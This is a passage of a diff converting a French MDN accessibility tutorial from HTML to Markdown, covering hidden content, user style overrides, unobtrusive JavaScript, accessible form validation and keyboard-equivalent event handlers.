href="https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">Exemple de boîte d'information à onglets</a> (voir notre <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">code source</a>), nous avons trois panneaux d’informations, mais nous les <a href="/fr/docs/Apprendre/CSS/CSS_layout/Le_positionnement">positionnons</a> les uns sur les autres et fournissons des onglets sur lesquels on peut cliquer pour les afficher à tour de rôle (c’est aussi accessible au clavier – vous pouvez également utiliser <kbd>Tab</kbd> et <kbd>Entrée</kbd> pour les sélectionner).</p> +Dans de nombreux cas, une conception visuelle nécessitera de ne pas afficher tout le contenu en même temps. Par exemple, dans notre [Exemple de boîte d'information à onglets](https://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html) (voir notre [code source](https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html)), nous avons trois panneaux d’informations, mais nous les [positionnons](/fr/docs/Apprendre/CSS/CSS_layout/Le_positionnement) les uns sur les autres et fournissons des onglets sur lesquels on peut cliquer pour les afficher à tour de rôle (c’est aussi accessible au clavier – vous pouvez également utiliser <kbd>Tab</kbd> et <kbd>Entrée</kbd> pour les sélectionner). -<p><img alt="" src="tabbed-info-box.png"></p> + -<p>Les utilisateurs de lecteur d’écran ne s’inquiètent de rien. Ils sont satisfaits du contenu tant que l’ordre des sources est logique et ils peuvent tout comprendre. Le positionnement absolu (tel qu'utilisé dans cet exemple) est généralement considéré comme l'un des meilleurs mécanismes permettant de masquer un contenu pour obtenir un effet visuel, car il n'empêche pas les lecteurs d'écran d'y accéder.</p> +Les utilisateurs de lecteur d’écran ne s’inquiètent de rien. Ils sont satisfaits du contenu tant que l’ordre des sources est logique et ils peuvent tout comprendre. Le positionnement absolu (tel qu'utilisé dans cet exemple) est généralement considéré comme l'un des meilleurs mécanismes permettant de masquer un contenu pour obtenir un effet visuel, car il n'empêche pas les lecteurs d'écran d'y accéder. -<p>Par contre, vous ne devriez pas utiliser {{cssxref("visibility")}}<code>:hidden</code> ou {{cssxref("display")}}<code>:none</code>, car ils masquent le contenu des lecteurs d'écran sauf si vous souhaitez que ce contenu leur soit masqué.</p> +Par contre, vous ne devriez pas utiliser {{cssxref("visibility")}}`:hidden` ou {{cssxref("display")}}`:none`, car ils masquent le contenu des lecteurs d'écran sauf si vous souhaitez que ce contenu leur soit masqué. -<div class="note"> -<p><strong>Note :</strong> <a href="https://webaim.org/techniques/css/invisiblecontent/">Contenu invisible juste pour les utilisateurs de lecteur d'écran</a> contient beaucoup plus de détails utiles concernant ce sujet.</p> -</div> +> **Note :** [Contenu invisible juste pour les utilisateurs de lecteur d'écran](https://webaim.org/techniques/css/invisiblecontent/) contient beaucoup plus de détails utiles concernant ce sujet. -<h3 id="Accepter_que_les_utilisateurs_puissent_remplacer_les_styles">Accepter que les utilisateurs puissent remplacer les styles</h3> +### Accepter que les utilisateurs puissent remplacer les styles -<h4 id="Acceptez_que_les_utilisateurs_puissent_remplacer_vos_styles">Acceptez que les utilisateurs puissent remplacer vos styles</h4> +#### Acceptez que les utilisateurs puissent remplacer vos styles -<p>Il est possible pour les utilisateurs de remplacer vos styles par leurs propres styles personnalisés, par exemple :</p> +Il est possible pour les utilisateurs de remplacer vos styles par leurs propres styles personnalisés, par exemple : -<ul> - <li>Voir <a href="/fr/docs/Outils/Éditeur_de_style">Éditeur de Style</a> pour un guide utile expliquant comment le faire manuellement dans Firefox, et <a href="https://www.itsupportguides.com/knowledge-base/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-internet-explorer/">Comment utiliser une feuille de style (css) personnalisée avec Internet Explorer</a> par Adrian Gordon pour les instructions IE équivalentes (EN).</li> - <li>Il est probablement plus facile de le faire en utilisant une extension, par exemple l’extension Stylus est disponible pour <a href="https://addons.mozilla.org/en-US/firefox/addon/stylish/">Firefox</a>, <a href="https://safari-extensions.apple.com/details/?id=com.sobolev.stylish-5555L95H45">Safari</a>, <a href="https://addons.opera.com/en/extensions/details/stylish/">Opera</a>, et <a href="https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe">Chrome</a>.</li> -</ul> +- Voir [Éditeur de Style](/fr/docs/Outils/Éditeur_de_style) pour un guide utile expliquant comment le faire manuellement dans Firefox, et [Comment utiliser une feuille de style (css) personnalisée avec Internet Explorer](https://www.itsupportguides.com/knowledge-base/computer-accessibility/how-to-use-a-custom-style-sheet-css-with-internet-explorer/) par Adrian Gordon pour les instructions IE équivalentes (EN). +- Il est probablement plus facile de le faire en utilisant une extension, par exemple l’extension Stylus est disponible pour [Firefox](https://addons.mozilla.org/en-US/firefox/addon/stylish/), [Safari](https://safari-extensions.apple.com/details/?id=com.sobolev.stylish-5555L95H45), [Opera](https://addons.opera.com/en/extensions/details/stylish/), et [Chrome](https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe). -<p>Les utilisateurs peuvent le faire pour diverses raisons. Un utilisateur malvoyant peut vouloir agrandir le texte de tous les sites Web qu’il visite, ou un utilisateur présentant un déficit de couleur grave peut vouloir afficher tous les sites Web dans des couleurs très contrastées, faciles à lire. Quel que soit le besoin, vous devriez être à l'aise avec cela et rendre vos conceptions suffisamment flexibles pour que de tels changements fonctionnent dans votre conception. Par exemple, vous voudrez peut-être vous assurer que votre zone de contenu principale peut gérer un texte plus volumineux (le défilement commencera peut-être pour permettre à tout le monde de le voir), et ne le cachera pas ou ne sera pas complètement interrompu.</p> +Les utilisateurs peuvent le faire pour diverses raisons. Un utilisateur malvoyant peut vouloir agrandir le texte de tous les sites Web qu’il visite, ou un utilisateur présentant un déficit de couleur grave peut vouloir afficher tous les sites Web dans des couleurs très contrastées, faciles à lire. Quel que soit le besoin, vous devriez être à l'aise avec cela et rendre vos conceptions suffisamment flexibles pour que de tels changements fonctionnent dans votre conception. Par exemple, vous voudrez peut-être vous assurer que votre zone de contenu principale peut gérer un texte plus volumineux (le défilement commencera peut-être pour permettre à tout le monde de le voir), et ne le cachera pas ou ne sera pas complètement interrompu. -<h2 id="JavaScript">JavaScript</h2> +## JavaScript -<p>JavaScript peut également compromettre l’accessibilité, selon son utilisation.</p> +JavaScript peut également compromettre l’accessibilité, selon son utilisation. -<p>Le JavaScript moderne est un langage puissant, et nous pouvons faire beaucoup de choses avec cela de nos jours, du contenu simple et des mises à jour d'interface utilisateur aux jeux 2D et 3D à part entière. Aucune règle ne stipule que tout le contenu doit être accessible à 100% à toutes les personnes. Vous devez simplement faire ce que vous pouvez et rendre vos applications aussi accessibles que possible.</p> +Le JavaScript moderne est un langage puissant, et nous pouvons faire beaucoup de choses avec cela de nos jours, du contenu simple et des mises à jour d'interface utilisateur aux jeux 2D et 3D à part entière. Aucune règle ne stipule que tout le contenu doit être accessible à 100% à toutes les personnes. Vous devez simplement faire ce que vous pouvez et rendre vos applications aussi accessibles que possible. -<p>Le contenu et les fonctionnalités simples sont facilement accessibles – texte, images, tableaux, formulaires et bouton-poussoir activant des fonctions. Comme nous l'avons vu dans notre article <a href="/fr/docs/Apprendre/a11y/HTML">HTML : une bonne base pour l'accessibilité</a>, les principales considérations sont les suivantes :</p> +Le contenu et les fonctionnalités simples sont facilement accessibles – texte, images, tableaux, formulaires et bouton-poussoir activant des fonctions. Comme nous l'avons vu dans notre article [HTML : une bonne base pour l'accessibilité](/fr/docs/Apprendre/a11y/HTML), les principales considérations sont les suivantes : -<ul> - <li>Bonne sémantique : Utiliser le bon élément pour le bon travail. Par exemple, assurez-vous que vous utilisez les en-têtes et les paragraphes, et les éléments {{htmlelement("button")}} et {{htmlelement("a")}}.</li> - <li>S'assurer que le contenu est disponible sous forme de texte, soit directement sous forme de contenu textuel, soit par un libellé pour des éléments <code><form></code> soit par <a href="/fr/docs/Apprendre/a11y/HTML#Alternatives_textuelles">textes par défaut</a> pour les images.</li> -</ul> +- Bonne sémantique : Utiliser le bon élément pour le bon travail. Par exemple, assurez-vous que vous utilisez les en-têtes et les paragraphes, et les éléments {{htmlelement("button")}} et {{htmlelement("a")}}. +- S'assurer que le contenu est disponible sous forme de texte, soit directement sous forme de contenu textuel, soit par un libellé pour des éléments `<form>` soit par [textes par défaut](/fr/docs/Apprendre/a11y/HTML#Alternatives_textuelles) pour les images. -<p>Nous avons également examiné un exemple d'utilisation de JavaScript pour intégrer des fonctionnalités là où il manque – voir <a href="/fr/docs/Apprendre/a11y/HTML#Building_keyboard_accessibility_back_in">Remettre l'accessibilité au clavier</a>. Ce n'est pas l'idéal – vous devez utiliser le bon élément pour le bon travail – mais cela montre que c'est possible dans des situations où, pour une raison quelconque, vous ne pouvez pas contrôler le balisage utilisé. Un autre moyen d'améliorer l'accessibilité pour les widgets non sémantiques reposant sur JavaScript consiste à utiliser WAI-ARIA pour fournir une sémantique supplémentaire aux utilisateurs de lecteurs d'écran. Le prochain article couvrira également cela en détail.</p> +Nous avons également examiné un exemple d'utilisation de JavaScript pour intégrer des fonctionnalités là où il manque – voir [Remettre l'accessibilité au clavier](/fr/docs/Apprendre/a11y/HTML#Building_keyboard_accessibility_back_in). Ce n'est pas l'idéal – vous devez utiliser le bon élément pour le bon travail – mais cela montre que c'est possible dans des situations où, pour une raison quelconque, vous ne pouvez pas contrôler le balisage utilisé. Un autre moyen d'améliorer l'accessibilité pour les widgets non sémantiques reposant sur JavaScript consiste à utiliser WAI-ARIA pour fournir une sémantique supplémentaire aux utilisateurs de lecteurs d'écran. Le prochain article couvrira également cela en détail. -<p>Les fonctionnalités complexes telles que les jeux 3D ne sont pas si faciles à rendre accessibles – un jeu 3D complexe créé à l'aide de <a href="/fr/docs/Web/API/WebGL_API">L'API WebGL : graphismes 2D et 3D pour le web</a> sera rendu sur un élément {{htmlelement("canvas")}}, qui n'a pour l'instant aucune possibilité de fournir textes alternatifs ou autres informations à utiliser par les utilisateurs malvoyants. On peut soutenir qu’un tel jeu ne compte pas vraiment ce groupe de personnes dans son public cible principal, et il serait déraisonnable de s’attendre à ce que vous le rendiez accessible à 100% aux aveugles, quelle que soit l’implantation des <a href="/fr/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard">contrôles clavier</a> faite pour qu'il soit utilisable par les utilisateurs sans souris. De plus, rendez le jeu de couleurs suffisamment contrasté pour pouvoir rendre le jeu vidéo utilisable par ceux qui ont des déficiences de la perception des couleurs.</p> +Les fonctionnalités complexes telles que les jeux 3D ne sont pas si faciles à rendre accessibles – un jeu 3D complexe créé à l'aide de [L'API WebGL : graphismes 2D et 3D pour le web](/fr/docs/Web/API/WebGL_API) sera rendu sur un élément {{htmlelement("canvas")}}, qui n'a pour l'instant aucune possibilité de fournir textes alternatifs ou autres informations à utiliser par les utilisateurs malvoyants. On peut soutenir qu’un tel jeu ne compte pas vraiment ce groupe de personnes dans son public cible principal, et il serait déraisonnable de s’attendre à ce que vous le rendiez accessible à 100% aux aveugles, quelle que soit l’implantation des [contrôles clavier](/fr/docs/Games/Techniques/Control_mechanisms/Desktop_with_mouse_and_keyboard) faite pour qu'il soit utilisable par les utilisateurs sans souris. De plus, rendez le jeu de couleurs suffisamment contrasté pour pouvoir rendre le jeu vidéo utilisable par ceux qui ont des déficiences de la perception des couleurs. -<h3 id="Le_problème_avec_trop_de_JavaScript">Le problème avec trop de JavaScript</h3> +### Le problème avec trop de JavaScript -<p>Le problème survient souvent lorsque les utilisateurs se fient trop à JavaScript. Parfois, vous voyez un site Web où tout a été fait avec JavaScript – le code HTML a été généré par JavaScript, le CSS a été généré par JavaScript, etc. Ceci présente toutes sortes de problèmes d'accessibilité et d'autres choses qui y sont associées, donc ce n'est pas conseillé.</p> +Le problème survient souvent lorsque les utilisateurs se fient trop à JavaScript. Parfois, vous voyez un site Web où tout a été fait avec JavaScript – le code HTML a été généré par JavaScript, le CSS a été généré par JavaScript, etc. Ceci présente toutes sortes de problèmes d'accessibilité et d'autres choses qui y sont associées, donc ce n'est pas conseillé. -<p>En plus d'utiliser le bon élément pour le bon travail, vous devez également vous assurer que vous utilisez la bonne technologie pour le bon travail ! Réfléchissez bien pour savoir si vous avez besoin de cette boîte d’informations 3D brillante reposant sur JavaScript, ou si un texte ordinaire avec du CSS conviendrait. Réfléchissez bien pour savoir si vous avez besoin d'un widget de formulaire non standard complexe ou d'une saisie de texte. Et ne générez pas tout votre contenu HTML en utilisant JavaScript si possible.</p> +En plus d'utiliser le bon élément pour le bon travail, vous devez également vous assurer que vous utilisez la bonne technologie pour le bon travail ! Réfléchissez bien pour savoir si vous avez besoin de cette boîte d’informations 3D brillante reposant sur JavaScript, ou si un texte ordinaire avec du CSS conviendrait. Réfléchissez bien pour savoir si vous avez besoin d'un widget de formulaire non standard complexe ou d'une saisie de texte. Et ne générez pas tout votre contenu HTML en utilisant JavaScript si possible. -<h3 id="Le_garder_discret">Le garder discret</h3> +### Le garder discret -<p>Lors de la création de votre contenu, gardez à l'esprit l'idée d'un <strong>JavaScript discret, en retrait</strong>. JavaScript est discret quand il est utilisé pour améliorer des fonctionnalités, il devient gênant quand ces mêmes fonctionnalités sont développées entièrement en JavaScript. Les fonctions de base de votre page devraient idéalement tourner sans JavaScript, même s’il est évident que ce n’est pas toujours possible. La règle est d'utiliser lorsque cela est possible les fonctionnalités intégrées au navigateur.</p> +Lors de la création de votre contenu, gardez à l'esprit l'idée d'un **JavaScript discret, en retrait**. JavaScript est discret quand il est utilisé pour améliorer des fonctionnalités, il devient gênant quand ces mêmes fonctionnalités sont développées entièrement en JavaScript. Les fonctions de base de votre page devraient idéalement tourner sans JavaScript, même s’il est évident que ce n’est pas toujours possible. La règle est d'utiliser lorsque cela est possible les fonctionnalités intégrées au navigateur. -<p>De bons exemples d'utilisation de JavaScript discret incluent :</p> +De bons exemples d'utilisation de JavaScript discret incluent : -<ul> - <li>Fournir une validation de formulaire côté client, qui alerte les utilisateurs en cas de problèmes liés aux entrées de formulaire, sans avoir à attendre que le serveur vérifie les données. S'il n'est pas disponible, le formulaire fonctionnera toujours, mais la validation risque d'être plus lente.</li> - <li>Fournir des commandes personnalisées pour les <code><video></code> HTML5 accessibles aux utilisateurs uniquement au clavier, ainsi qu'un lien direct vers la vidéo pouvant être utilisé pour y accéder si JavaScript n'est pas disponible (les commandes du navigateur <code><video></code> par défaut ne sont pas des touches accessibles dans la plupart des navigateurs).</li> -</ul> +- Fournir une validation de formulaire côté client, qui alerte les utilisateurs en cas de problèmes liés aux entrées de formulaire, sans avoir à attendre que le serveur vérifie les données. S'il n'est pas disponible, le formulaire fonctionnera toujours, mais la validation risque d'être plus lente. +- Fournir des commandes personnalisées pour les `<video>` HTML5 accessibles aux utilisateurs uniquement au clavier, ainsi qu'un lien direct vers la vidéo pouvant être utilisé pour y accéder si JavaScript n'est pas disponible (les commandes du navigateur `<video>` par défaut ne sont pas des touches accessibles dans la plupart des navigateurs). -<p>Par exemple, nous avons écrit un exemple de validation de formulaire côté client rapide — voir <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html">form-validation.html</a> (voir aussi la <a href="https://mdn.github.io/learning-area/accessibility/css/form-validation.html">démonstration en direct</a>). Ici, vous verrez un formulaire simple. Lorsque vous essayez de soumettre le formulaire avec un ou les deux champs vides, l'envoi échoue et un message d'erreur s'affiche pour vous indiquer ce qui ne va pas.</p> +Par exemple, nous avons écrit un exemple de validation de formulaire côté client rapide — voir [form-validation.html](https://github.com/mdn/learning-area/blob/master/accessibility/css/form-validation.html) (voir aussi la [démonstration en direct](https://mdn.github.io/learning-area/accessibility/css/form-validation.html)). Ici, vous verrez un formulaire simple. Lorsque vous essayez de soumettre le formulaire avec un ou les deux champs vides, l'envoi échoue et un message d'erreur s'affiche pour vous indiquer ce qui ne va pas. -<p>Ce type de validation de formulaire est discret — vous pouvez toujours utiliser le formulaire parfaitement sans que le JavaScript soit disponible, et toute implémentation de formulaire sensée aura également une validation côté serveur, car il est trop facile pour les utilisateurs malveillants de contourner la validation côté client (en désactivant JavaScript dans le navigateur, par exemple). La validation côté client est toujours très utile pour signaler les erreurs — les utilisateurs peuvent savoir instantanément quelles erreurs ils commettent, au lieu d'attendre un aller-retour vers le serveur et un rechargement de page. C'est un avantage certain en termes de convivialité.</p> +Ce type de validation de formulaire est discret — vous pouvez toujours utiliser le formulaire parfaitement sans que le JavaScript soit disponible, et toute implémentation de formulaire sensée aura également une validation côté serveur, car il est trop facile pour les utilisateurs malveillants de contourner la validation côté client (en désactivant JavaScript dans le navigateur, par exemple). La validation côté client est toujours très utile pour signaler les erreurs — les utilisateurs peuvent savoir instantanément quelles erreurs ils commettent, au lieu d'attendre un aller-retour vers le serveur et un rechargement de page. C'est un avantage certain en termes de convivialité. -<div class="note"> -<p><strong>Note :</strong> La validation côté serveur n'a pas été implémentée dans cette simple démonstration.</p> -</div> +> **Note :** La validation côté serveur n'a pas été implémentée dans cette simple démonstration. -<p>Nous avons également rendu cette validation de formulaire assez accessible. Nous avons utilisé des éléments {{htmlelement("label")}} pour nous assurer que les libellés des formulaires sont liés de manière non équivoque à leurs entrées, afin que les lecteurs d'écran puissent les lire au fur et à mesure :</p> +Nous avons également rendu cette validation de formulaire assez accessible. Nous avons utilisé des éléments {{htmlelement("label")}} pour nous assurer que les libellés des formulaires sont liés de manière non équivoque à leurs entrées, afin que les lecteurs d'écran puissent les lire au fur et à mesure : -<pre class="brush: html"><label for="name"> Entrez votre nom :</label> -<input type="text" name="name" id="name"></pre> +```html +<label for="name"> Entrez votre nom :</label> +<input type="text" name="name" id="name"> +``` -<p>Nous ne faisons la validation qu'une fois le formulaire soumis — ceci afin de ne pas mettre à jour l'interface utilisateur trop souvent et de ne pas perturber les utilisateurs du lecteur d'écran (et éventuellement d'autres) :</p> +Nous ne faisons la validation qu'une fois le formulaire soumis — ceci afin de ne pas mettre à jour l'interface utilisateur trop souvent et de ne pas perturber les utilisateurs du lecteur d'écran (et éventuellement d'autres) : -<pre class="brush: js">form.onsubmit = validate; +```js +form.onsubmit = validate; function validate(e) { errorList.innerHTML = ''; - for(var i = 0; i < formItems.length; i++) { + for(var i = 0; i < formItems.length; i++) { var testItem = formItems[i]; if(testItem.input.value === '') { errorField.style.left = '360px'; @@ -271,19 +286,19 @@ function validate(e) { if(errorList.innerHTML !== '') { e.preventDefault(); } -}</pre> +} +``` -<div class="note"> -<p><strong>Note :</strong> Dans cet exemple, nous masquons et montrons la boîte de message d'erreur en utilisant le positionnement absolu plutôt qu'une autre méthode telle que la visibilité ou l'affichage, car cela n'empêche pas le lecteur d'écran de pouvoir lire le contenu de celui-ci.</p> -</div> +> **Note :** Dans cet exemple, nous masquons et montrons la boîte de message d'erreur en utilisant le positionnement absolu plutôt qu'une autre méthode telle que la visibilité ou l'affichage, car cela n'empêche pas le lecteur d'écran de pouvoir lire le contenu de celui-ci. -<p>La validation du formulaire réel serait beaucoup plus complexe que cela : vous voudriez vérifier que le nom saisi ressemble réellement à un nom, que l’âge entré est en réalité un nombre et qu’il est réaliste (par exemple, pas un nombre négatif, ni à quatre chiffres). Ici, nous venons d'implémenter la vérification simple qu'une valeur a été renseignée dans chaque champ de saisie (<code>if(testItem.input.value === '')</code>).</p> +La validation du formulaire réel serait beaucoup plus complexe que cela : vous voudriez vérifier que le nom saisi ressemble réellement à un nom, que l’âge entré est en réalité un nombre et qu’il est réaliste (par exemple, pas un nombre négatif, ni à quatre chiffres). Ici, nous venons d'implémenter la vérification simple qu'une valeur a été renseignée dans chaque champ de saisie (`if(testItem.input.value === '')`). -<p>Une fois la validation effectuée, si les tests réussissent, le formulaire est soumis. S'il y a des erreurs (<code>if(errorList.innerHTML !== '')</code>) nous arrêtons la soumission du formulaire ( à l'aide de<a href="/fr/docs/Web/API/Event/preventDefault"> event.preventDefault()</a>), et affichons tous les messages d'erreur créés (voir ci-dessous). Ce mécanisme signifie que les erreurs ne seront affichées que s’il y a des erreurs, ce qui est meilleur pour la facilité d’utilisation.</p> +Une fois la validation effectuée, si les tests réussissent, le formulaire est soumis. S'il y a des erreurs (`if(errorList.innerHTML !== '')`) nous arrêtons la soumission du formulaire ( à l'aide de[ event.preventDefault()](/fr/docs/Web/API/Event/preventDefault)), et affichons tous les messages d'erreur créés (voir ci-dessous). Ce mécanisme signifie que les erreurs ne seront affichées que s’il y a des erreurs, ce qui est meilleur pour la facilité d’utilisation. -<p>Pour chaque entrée pour laquelle aucune valeur n'a été renseignée lors de la soumission du formulaire, nous créons un élément de liste avec un lien et l'insérons dans la liste <code>errorList</code>.</p> +Pour chaque entrée pour laquelle aucune valeur n'a été renseignée lors de la soumission du formulaire, nous créons un élément de liste avec un lien et l'insérons dans la liste `errorList`. -<pre class="brush: js">function createLink(testItem) { +```js +function createLink(testItem) { var listItem = document.createElement('li'); var anchor = document.createElement('a'); anchor.textContent = testItem.input.name + ' field is empty: fill in your ' + testItem.input.name + '.'; @@ -293,75 +308,68 @@ function validate(e) { }; listItem.appendChild(anchor); errorList.appendChild(listItem); -}</pre> +} +``` -<p>Chaque lien a un double objectif — il vous dit quelle est l’erreur, vous pouvez aussi cliquer dessus / l’activer pour passer directement à l’élément d’entrée en question et corriger votre saisie.</p> +Chaque lien a un double objectif — il vous dit quelle est l’erreur, vous pouvez aussi cliquer dessus / l’activer pour passer directement à l’élément d’entrée en question et corriger votre saisie. -<div class="note"> -<p><strong>Note :</strong> La partie <code>focus()</code> de cet exemple est un peu délicate. Chrome et Edge (et les versions plus récentes d'IE) focalisent l'élément lorsque l'utilisateur clique sur le lien, sans avoir besoin du bloc <code>onclick</code>/<code>focus()</code>. Safari ne mettra en évidence que l'élément de formulaire avec le lien, il a donc besoin du bloc <code>onclick</code>/<code>focus()</code> pour le focaliser. Firefox ne focalise pas les entrées correctement dans ce contexte, les utilisateurs de Firefox ne peuvent donc pas en profiter pour le moment (bien que tout le reste fonctionne bien). Le problème de Firefox devrait bientôt être résolu - des efforts sont en cours pour donner la parité des comportements de Firefox aux autres navigateurs (voir {{bug(277178)}}).</p> -</div> +> **Note :** La partie `focus()` de cet exemple est un peu délicate. Chrome et Edge (et les versions plus récentes d'IE) focalisent l'élément lorsque l'utilisateur clique sur le lien, sans avoir besoin du bloc `onclick`/`focus()`. Safari ne mettra en évidence que l'élément de formulaire avec le lien, il a donc besoin du bloc `onclick`/`focus()` pour le focaliser. Firefox ne focalise pas les entrées correctement dans ce contexte, les utilisateurs de Firefox ne peuvent donc pas en profiter pour le moment (bien que tout le reste fonctionne bien). Le problème de Firefox devrait bientôt être résolu - des efforts sont en cours pour donner la parité des comportements de Firefox aux autres navigateurs (voir {{bug(277178)}}). -<p>De plus, le champ <code>errorField</code> est placé en haut de l'ordre source (bien qu'il soit positionné différemment dans UI à l'aide de CSS), ce qui signifie que les utilisateurs peuvent savoir exactement ce qui ne va pas avec les soumissions de formulaire et accéder aux éléments d'entrée en question en remontant au début de la page</p> +De plus, le champ `errorField` est placé en haut de l'ordre source (bien qu'il soit positionné différemment dans UI à l'aide de CSS), ce qui signifie que les utilisateurs peuvent savoir exactement ce qui ne va pas avec les soumissions de formulaire et accéder aux éléments d'entrée en question en remontant au début de la page -<p>Pour terminer, nous avons utilisé certains attributs de WAI-ARIA dans notre démonstration pour résoudre les problèmes d’accessibilité causés par des zones de contenu constamment mises à jour sans rechargement de page (les lecteurs d’écran ne le détectent pas et n'en avertissent pas les utilisateurs par défaut) :</p> +Pour terminer, nous avons utilisé certains attributs de WAI-ARIA dans notre démonstration pour résoudre les problèmes d’accessibilité causés par des zones de contenu constamment mises à jour sans rechargement de page (les lecteurs d’écran ne le détectent pas et n'en avertissent pas les utilisateurs par défaut) : -<pre><div class="errors" role="alert" aria-relevant="all"> - <ul> - </ul> -</div></pre> + <div class="errors" role="alert" aria-relevant="all"> + <ul> + </ul> + </div> -<p>Nous expliquerons ces attributs dans notre prochain article, qui couvre <a href="/fr/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA</a> de manière beaucoup plus détaillée.</p> +Nous expliquerons ces attributs dans notre prochain article, qui couvre [WAI-ARIA](/fr/docs/Learn/Accessibility/WAI-ARIA_basics) de manière beaucoup plus détaillée. -<div class="note"> -<p><strong>Note :</strong> Certains d'entre vous penseront probablement au fait que les formulaires HTML5 ont des mécanismes de validation intégrés tels que les attributs <code>required</code>, <code>min</code>/<code>minlength</code>, et <code>max</code>/<code>maxlength</code> (voir {{htmlelement("input")}} référence d'élément pour plus d'informations). Nous avons fini par ne pas les utiliser dans la démo, car la prise en charge multi-navigateurs est inégale (par exemple, IE10 et versions ultérieures, pas de prise en charge de Safari).</p> -</div> +> **Note :** Certains d'entre vous penseront probablement au fait que les formulaires HTML5 ont des mécanismes de validation intégrés tels que les attributs `required`, `min`/`minlength`, et `max`/`maxlength` (voir {{htmlelement("input")}} référence d'élément pour plus d'informations). Nous avons fini par ne pas les utiliser dans la démo, car la prise en charge multi-navigateurs est inégale (par exemple, IE10 et versions ultérieures, pas de prise en charge de Safari). -<div class="note"> -<p><strong>Note :</strong> WebAIM's <a href="https://webaim.org/techniques/formvalidation/">Validation de formulaire et récupération d'erreur utilisables et accessibles (EN)</a> fournit des informations supplémentaires utiles sur la validation de formulaire accessible.</p> -</div> +> **Note :** WebAIM's [Validation de formulaire et récupération d'erreur utilisables et accessibles (EN)](https://webaim.org/techniques/formvalidation/) fournit des informations supplémentaires utiles sur la validation de formulaire accessible. -<h3 id="Autres_problèmes_daccessibilité_JavaScript">Autres problèmes d'accessibilité JavaScript</h3> +### Autres problèmes d'accessibilité JavaScript -<p>Il y a d'autres choses à prendre en compte quand on met en œuvre des solutions JavaScript tout en réflechissant à l'accessibilité. Voilà déjà une liste de points à surveiller, que nous complèterons à chaque fois qu'un nouveau cas se présente.</p> +Il y a d'autres choses à prendre en compte quand on met en œuvre des solutions JavaScript tout en réflechissant à l'accessibilité. Voilà déjà une liste de points à surveiller, que nous complèterons à chaque fois qu'un nouveau cas se présente. -<h4 id="Événements_spécifiques_à_la_souris">Événements spécifiques à la souris</h4> +#### Événements spécifiques à la souris -<p>Comme vous le savez peut-être, la plupart des interactions utilisateur sont implémentées dans JavaScript côté client à l'aide de gestionnaires d'événements, ce qui nous permet d'exécuter des fonctions en réponse à certains événements. Certains événements peuvent avoir des problèmes d'accessibilité. L'exemple principal que vous rencontrerez concerne des événements spécifiques à la souris tels que <a href="/fr/docs/Web/Events/mouseover"> mouseover</a>, <a href="/fr/docs/Web/Events/mouseout"> mouseout</a>, <a href="/fr/docs/Web/Events/dblclick"> dblclick</a>, etc. Les fonctionnalités qui s'exécutent en réponse à ces événements ne seront pas accessibles à l'aide d'autres mécanismes, tels que les contrôles du clavier.</p> +Comme vous le savez peut-être, la plupart des interactions utilisateur sont implémentées dans JavaScript côté client à l'aide de gestionnaires d'événements, ce qui nous permet d'exécuter des fonctions en réponse à certains événements. Certains événements peuvent avoir des problèmes d'accessibilité. L'exemple principal que vous rencontrerez concerne des événements spécifiques à la souris tels que [mouseover](/fr/docs/Web/Events/mouseover), [mouseout](/fr/docs/Web/Events/mouseout), [dblclick](/fr/docs/Web/Events/dblclick), etc. Les fonctionnalités qui s'exécutent en réponse à ces événements ne seront pas accessibles à l'aide d'autres mécanismes, tels que les contrôles du clavier. -<p>Pour résoudre de tels problèmes, vous devez doubler ces événements avec des événements similaires pouvant être activés par d'autres moyens (appelés gestionnaires d'événements indépendants du périphérique) —<a href="/fr/docs/Web/Events/focus">focus</a> et <a href="/fr/docs/Web/Events/blur">blur (event)</a> fourniraient une accessibilité aux utilisateurs de clavier. </p> +Pour résoudre de tels problèmes, vous devez doubler ces événements avec des événements similaires pouvant être activés par d'autres moyens (appelés gestionnaires d'événements indépendants du périphérique) —[focus](/fr/docs/Web/Events/focus) et [blur (event)](/fr/docs/Web/Events/blur) fourniraient une accessibilité aux utilisateurs de clavier. -<p>Regardons un exemple qui illustre cela. Considérons une image miniature ; quand elle est survolée ou ciblée (comme sur un catalogue de produits de commerce électronique) une version plus grande de l’image s'affiche.</p> +Regardons un exemple qui illustre cela. Considérons une image miniature ; quand elle est survolée ou ciblée (comme sur un catalogue de produits de commerce électronique) une version plus grande de l’image s'affiche. -<p>Nous avons créé un exemple très simple, que vous pouvez trouver sur <a href="https://mdn.github.io/learning-area/accessibility/css/mouse-and-keyboard-events.html">Exemple d'événements de souris et de clavier</a> (voir aussi le <a href="https://github.com/mdn/learning-area/blob/master/accessibility/css/mouse-and-keyboard-events.html">code source</a>). Le code comporte deux fonctions qui affichent et cachent l'image agrandie ; ceux-ci sont gérés par les lignes suivantes qui les définissent en tant que gestionnaires d'événements :</p> +Nous avons créé un exemple très simple, que vous pouvez trouver sur [Exemple d'événements de souris et de clavier](https://mdn.github.io/learning-area/accessibility/css/mouse-and-keyboard-events.html) (voir aussi le [code source](https://github.com/mdn/learning-area/blob/master/accessibility/css/mouse-and-keyboard-events.html)). Le code comporte deux fonctions qui affichent et cachent l'image agrandie ; ceux-ci sont gérés par les lignes suivantes qui les définissent en tant que gestionnaires d'événements : -<pre class="brush: js">imgThumb.onmouseover = showImg; +```js +imgThumb.onmouseover = showImg; imgThumb.onmouseout = hideImg; imgThumb.onfocus = showImg; -imgThumb.onblur = hideImg;</pre> +imgThumb.onblur = hideImg; +``` -<p>Les deux premières lignes exécutent les fonctions lorsque le pointeur de la souris survole et cesse de survoler la vignette, respectivement. Cela ne nous permettra toutefois pas d'accéder à la vue agrandie à l'aide du clavier ; pour cela, nous avons inclus les deux dernières lignes, qui exécutent les fonctions lorsque l'image est nette et floue (lorsque la mise au point s'arrête). Cela peut être fait en tapant sur l'image, car nous avons inclus <code>tabindex="0"</code> dessus.</p> +Les deux premières lignes exécutent les fonctions lorsque le pointeur de la souris survole et cesse de survoler la vignette, respectivement. Cela 